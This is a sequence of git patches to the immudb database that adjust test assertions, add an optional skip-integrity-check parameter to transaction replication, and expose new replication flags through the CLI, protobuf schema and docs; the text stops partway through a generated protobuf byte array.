req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index 1928fed7e7..abb7a09e3f 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -34,6 +34,7 @@ func TestStoreReference(t *testing.T) { req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) + require.NoError(t, err) item, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`firstKey`), SinceTx: txhdr.Id}) require.NoError(t, err) @@ -44,8 +45,8 @@ func TestStoreReference(t *testing.T) { Key: []byte(`myTag`), ReferencedKey: []byte(`secondKey`), } - txhdr, err = db.SetReference(context.Background(), refOpts) - require.Equal(t, store.ErrKeyNotFound, err) + _, err = db.SetReference(context.Background(), refOpts) + require.ErrorIs(t, err, store.ErrKeyNotFound) refOpts = &schema.ReferenceRequest{ Key: []byte(`firstKeyR`), @@ -54,14 +55,14 @@ func TestStoreReference(t *testing.T) { BoundRef: true, } _, err = db.SetReference(context.Background(), refOpts) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) refOpts = &schema.ReferenceRequest{ Key: []byte(`firstKey`), ReferencedKey: []byte(`firstKey`), } - txhdr, err = db.SetReference(context.Background(), refOpts) - require.Equal(t, ErrFinalKeyCannotBeConvertedIntoReference, err) + _, err = db.SetReference(context.Background(), refOpts) + require.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference) refOpts = &schema.ReferenceRequest{ Key: []byte(`myTag`), @@ -127,6 +128,7 @@ func TestStoreInvalidReferenceToReference(t *testing.T) { req := &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`firstKey`), Value: []byte(`firstValue`)}}} txhdr, err := db.Set(context.Background(), req) + require.NoError(t, err) ref1, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`firstKey`), AtTx: txhdr.Id, BoundRef: true}) require.NoError(t, err) @@ -263,10 +265,10 @@ func TestStoreIndexReference(t *testing.T) { idx2, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item2`)}}}) require.NoError(t, err) - ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true}) + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag1`), AtTx: idx1.Id, BoundRef: true}) require.NoError(t, err) - ref, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true}) + ref, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ReferencedKey: []byte(`aaa`), Key: []byte(`myTag2`), AtTx: idx2.Id, BoundRef: true}) require.NoError(t, err) tag1, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: ref.Id}) diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index c0f6a604b6..19e6c28976 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -257,7 +257,7 @@ func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddReque return nil, err } - err = d.st.ReadTx(uint64(txMetatadata.Id), true, lastTx) + err = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx) if err != nil { return nil, err } @@ -266,7 +266,7 @@ func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddReque if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index fcf88b985a..18027b0e50 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -134,8 +134,8 @@ func TestStoreIndexEqualKeys(t *testing.T) { BoundRef: true, } - reference1, err := db.ZAdd(context.Background(), zaddOpts) - require.Equal(t, ErrReferencedKeyCannotBeAReference, err) + _, err = db.ZAdd(context.Background(), zaddOpts) + require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), @@ -656,13 +656,13 @@ func TestStoreVerifiableZAdd(t *testing.T) { i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}}) - vtx, err := db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ + _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id + 1, }) require.Equal(t, store.ErrIllegalArguments, err) - vtx, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ + _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id, }) @@ -676,7 +676,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { BoundRef: true, } - vtx, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ + vtx, err := db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: req, ProveSinceTx: i1.Id, }) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 2ab9612e81..29ebc27c0d 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -115,7 +115,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR defer d.releaseTx(tx) // key-value inclusion proof - err = d.st.ReadTx(e.Tx, true, tx) + err = d.st.ReadTx(e.Tx, false, tx) if err != nil { return nil, err } @@ -130,7 +130,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } From 361f013e958f93b3318ee46c4f331528ca4e05c5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 30 Jan 2023 21:48:19 -0300 Subject: [PATCH 0200/1062] chore(embedded/store): validate Eh only when integrity checks are not disabled Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 18 +++++++++--------- embedded/store/immustore_test.go | 12 ++++++------ embedded/store/ongoing_tx.go | 2 +- pkg/database/database.go | 2 +- 4 files changed, 17 insertions(+), 17 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4c8a42cfd4..6f7e3db868 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1103,8 +1103,8 @@ func (s *ImmuStore) NewTx(ctx context.Context, opts *TxOptions) (*OngoingTx, err return newOngoingTx(ctx, s, opts) } -func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader *TxHeader, waitForIndexing bool) (*TxHeader, error) { - hdr, err := s.precommit(ctx, otx, expectedHeader) +func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader *TxHeader, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) { + hdr, err := s.precommit(ctx, otx, expectedHeader, skipIntegrityCheck) if err != nil { return nil, err } @@ -1129,7 +1129,7 @@ func (s *ImmuStore) commit(ctx context.Context, otx *OngoingTx, expectedHeader * return hdr, nil } -func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) { +func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader, skipIntegrityCheck bool) (*TxHeader, error) { if otx == nil { return nil, fmt.Errorf("%w: no transaction", ErrIllegalArguments) } @@ -1193,11 +1193,11 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } if hdr != nil { - // TODO: Eh validation is currently disabled as it's not provided + // TODO: Eh validation is disabled as it's not provided // when the tx was exported without integrity checks - //if tx.header.Eh != hdr.Eh { - // return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) - //} + if !skipIntegrityCheck && tx.header.Eh != hdr.Eh { + return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) + } lastPreCommittedTxID := s.lastPrecommittedTxID() @@ -2159,7 +2159,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC return buf.Bytes(), nil } -func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForIndexing bool) (*TxHeader, error) { +func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) { if len(exportedTx) == 0 { return nil, ErrIllegalArguments } @@ -2282,7 +2282,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } } - txHdr, err := s.precommit(ctx, txSpec, hdr) + txHdr, err := s.precommit(ctx, txSpec, hdr, skipIntegrityCheck) if err != nil { return nil, err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 1094b6156d..6088aeab39 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -216,7 +216,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { _, err = immuStore.commit(context.Background(), &OngoingTx{entries: []*EntrySpec{ {Key: []byte("key1")}, - }}, nil, false) + }}, nil, false, false) require.ErrorIs(t, err, ErrAlreadyClosed) err = immuStore.ReadTx(1, false, nil) @@ -2390,14 +2390,14 @@ func TestExportAndReplicateTx(t *testing.T) { etx, err := primaryStore.ExportTx(1, false, false, txholder) require.NoError(t, err) - rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false) + rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) require.NotNil(t, rhdr) require.Equal(t, hdr.ID, rhdr.ID) require.Equal(t, hdr.Alh(), rhdr.Alh()) - _, err = replicaStore.ReplicateTx(context.Background(), nil, false) + _, err = replicaStore.ReplicateTx(context.Background(), nil, false, false) require.ErrorIs(t, err, ErrIllegalArguments) } @@ -2445,7 +2445,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { copy(brokenEtx, etx) brokenEtx[i]++ - _, err = replicaStore.ReplicateTx(context.Background(), brokenEtx, false) + _, err = replicaStore.ReplicateTx(context.Background(), brokenEtx, false, false) require.Error(t, err) if !errors.Is(err, ErrIllegalArguments) && @@ -2500,7 +2500,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { wg.Add(1) go func(j int) { defer wg.Done() - _, errors[j] = replicaStore.ReplicateTx(context.Background(), etx, false) + _, errors[j] = replicaStore.ReplicateTx(context.Background(), etx, false, false) }(j) } wg.Wait() @@ -2573,7 +2573,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { for etx := range etxs { time.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond) - _, err = replicaStore.ReplicateTx(context.Background(), etx, false) + _, err = replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) } }(r) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index e487e43bbf..59eb317012 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -448,7 +448,7 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade return nil, ctx.Err() } - return tx.st.commit(ctx, tx, nil, waitForIndexing) + return tx.st.commit(ctx, tx, nil, false, waitForIndexing) } func (tx *OngoingTx) Cancel() error { diff --git a/pkg/database/database.go b/pkg/database/database.go index 6a87d0beaa..6a644664fc 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1319,7 +1319,7 @@ func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte) (*schema.TxHead return nil, ErrNotReplica } - hdr, err := d.st.ReplicateTx(ctx, exportedTx, false) + hdr, err := d.st.ReplicateTx(ctx, exportedTx, true, false) if err != nil { return nil, err } From f5fb9b4f0e588feb2fd711214870d14adbe33dbe Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 10:09:01 -0300 Subject: [PATCH 0201/1062] test(pkg/integration/replication): increse replication timeout Signed-off-by: Jeronimo Irazabal --- pkg/integration/replication/synchronous_replication_test.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index 46d8de2309..e660bd4490 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -375,12 +375,12 @@ func (suite *SyncTestRecoverySpeedSuite) TestReplicaRecoverySpeed() { suite.Require().NoError(err) suite.Require().Greater(state.TxId, txWritten, "Ensure enough TXs were written") - // Check if we can recover the cluster and perform write within the double the amount of time + // Check if we can recover the cluster and perform write within a reasonable amount of time // that was needed for initial sampling. The replica that was initially stopped and now // started has the same amount of transaction to grab from primary as the other one // which should take the same amount of time as the initial write period or less // (since the primary is not persisting data this time). - ctxTimeout, cancel := context.WithTimeout(ctx, samplingTime*2) + ctxTimeout, cancel := context.WithTimeout(ctx, samplingTime*4) defer cancel() suite.StartReplica(0) // 1 down From ddf34adc7bdb5c992a90c80dcb20ca8ae65f8a0e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 11:36:59 -0300 Subject: [PATCH 0202/1062] chore(pkg/api): expose replication settings for skipping integrity checks and indexing Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 12 + cmd/immudb/command/init.go | 5 +- cmd/immudb/command/parse_options.go | 4 +- pkg/api/schema/docs.md | 4 +- pkg/api/schema/schema.pb.go | 2023 +++++++++-------- pkg/api/schema/schema.proto | 8 +- pkg/api/schema/schema.swagger.json | 10 +- pkg/database/database.go | 6 +- .../stream/stream_replication_test.go | 7 +- pkg/replication/options.go | 20 +- pkg/replication/options_test.go | 4 + pkg/replication/replicator.go | 10 +- pkg/server/db_dummy_closed.go | 2 +- pkg/server/db_dummy_closed_test.go | 2 +- pkg/server/db_options.go | 25 + pkg/server/options.go | 12 + pkg/server/options_test.go | 6 +- pkg/server/server.go | 2 + pkg/server/stream_replication.go | 29 +- 19 files changed, 1174 insertions(+), 1017 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 94e703ef81..439daacf3e 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -46,6 +46,8 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("replication-prefetch-tx-buffer-size", uint32(replication.DefaultPrefetchTxBufferSize), "maximum number of prefeched transactions") c.Flags().Uint32("replication-commit-concurrency", uint32(replication.DefaultReplicationCommitConcurrency), "number of concurrent replications") c.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") + c.Flags().Bool("replication-skip-integrity-check", replication.DefaultSkipIntegrityCheck, "disable integrity check when reading data during replication") + c.Flags().Bool("replication-wait-for-indexing", replication.DefaultWaitForIndexing, "wait for indexing to be up to date during replication") c.Flags().Uint32("write-tx-header-version", 1, "set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)") c.Flags().Uint32("max-commit-concurrency", store.DefaultMaxConcurrency, "set the maximum commit concurrency") c.Flags().Duration("sync-frequency", store.DefaultSyncFrequency, "set the fsync frequency during commit process") @@ -478,6 +480,16 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } + ret.ReplicationSettings.SkipIntegrityCheck, err = condBool("replication-skip-integrity-check") + if err != nil { + return nil, err + } + + ret.ReplicationSettings.WaitForIndexing, err = condBool("replication-wait-for-indexing") + if err != nil { + return nil, err + } + ret.WriteTxHeaderVersion, err = condUInt32("write-tx-header-version") if err != nil { return nil, err diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index a971126c9b..604c74d818 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -21,7 +21,6 @@ import ( c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/logger" - "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -42,7 +41,9 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("replication-primary-password", "", "password in the primary database used for replication of systemdb and defaultdb") cmd.Flags().Int("replication-prefetch-tx-buffer-size", options.ReplicationOptions.PrefetchTxBufferSize, "maximum number of prefeched transactions") cmd.Flags().Int("replication-commit-concurrency", options.ReplicationOptions.ReplicationCommitConcurrency, "number of concurrent replications") - cmd.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") + cmd.Flags().Bool("replication-allow-tx-discarding", options.ReplicationOptions.AllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") + cmd.Flags().Bool("replication-skip-integrity-check", options.ReplicationOptions.SkipIntegrityCheck, "disable integrity check when reading data during replication") + cmd.Flags().Bool("replication-wait-for-indexing", options.ReplicationOptions.WaitForIndexing, "wait for indexing to be up to date during replication") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 3da6c74acf..db9ac8a780 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -42,7 +42,9 @@ func parseOptions() (options *server.Options, err error) { WithPrimaryPassword(viper.GetString("replication-primary-password")). WithPrefetchTxBufferSize(viper.GetInt("replication-prefetch-tx-buffer-size")). WithReplicationCommitConcurrency(viper.GetInt("replication-commit-concurrency")). - WithAllowTxDiscarding(viper.GetBool("replication-allow-tx-discarding")) + WithAllowTxDiscarding(viper.GetBool("replication-allow-tx-discarding")). + WithSkipIntegrityCheck(viper.GetBool("replication-skip-integrity-check")). + WithWaitForIndexing(viper.GetBool("replication-wait-for-indexing")) } else { replicationOptions. WithSyncAcks(viper.GetInt("replication-sync-acks")) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 761925ce0c..3ec54b9005 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1448,7 +1448,9 @@ Only succeed if given key was not modified after given transaction | syncAcks | [NullableUint32](#immudb.schema.NullableUint32) | | Number of confirmations from synchronous replicas required to commit a transaction | | prefetchTxBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of prefetched transactions | | replicationCommitConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Number of concurrent replications | -| AllowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) | | Allow precommitted transactions to be discarded if the replica diverges from the primary | +| allowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) | | Allow precommitted transactions to be discarded if the replica diverges from the primary | +| skipIntegrityCheck | [NullableBool](#immudb.schema.NullableBool) | | Disable integrity check when reading data during replication | +| waitForIndexing | [NullableBool](#immudb.schema.NullableBool) | | Wait for indexing to be up to date during replication | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 849fa8fcc9..27526f7a19 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5756,7 +5756,11 @@ type ReplicationNullableSettings struct { // Number of concurrent replications ReplicationCommitConcurrency *NullableUint32 `protobuf:"bytes,10,opt,name=replicationCommitConcurrency,proto3" json:"replicationCommitConcurrency,omitempty"` // Allow precommitted transactions to be discarded if the replica diverges from the primary - AllowTxDiscarding *NullableBool `protobuf:"bytes,11,opt,name=AllowTxDiscarding,proto3" json:"AllowTxDiscarding,omitempty"` + AllowTxDiscarding *NullableBool `protobuf:"bytes,11,opt,name=allowTxDiscarding,proto3" json:"allowTxDiscarding,omitempty"` + // Disable integrity check when reading data during replication + SkipIntegrityCheck *NullableBool `protobuf:"bytes,12,opt,name=skipIntegrityCheck,proto3" json:"skipIntegrityCheck,omitempty"` + // Wait for indexing to be up to date during replication + WaitForIndexing *NullableBool `protobuf:"bytes,13,opt,name=waitForIndexing,proto3" json:"waitForIndexing,omitempty"` } func (x *ReplicationNullableSettings) Reset() { @@ -5868,6 +5872,20 @@ func (x *ReplicationNullableSettings) GetAllowTxDiscarding() *NullableBool { return nil } +func (x *ReplicationNullableSettings) GetSkipIntegrityCheck() *NullableBool { + if x != nil { + return x.SkipIntegrityCheck + } + return nil +} + +func (x *ReplicationNullableSettings) GetWaitForIndexing() *NullableBool { + if x != nil { + return x.WaitForIndexing + } + return nil +} + type TruncationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9329,7 +9347,7 @@ var file_schema_proto_rawDesc = []byte{ 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, @@ -9376,834 +9394,843 @@ var file_schema_proto_rawDesc = []byte{ 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, - 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, + 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, - 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, - 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, - 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, - 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, - 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 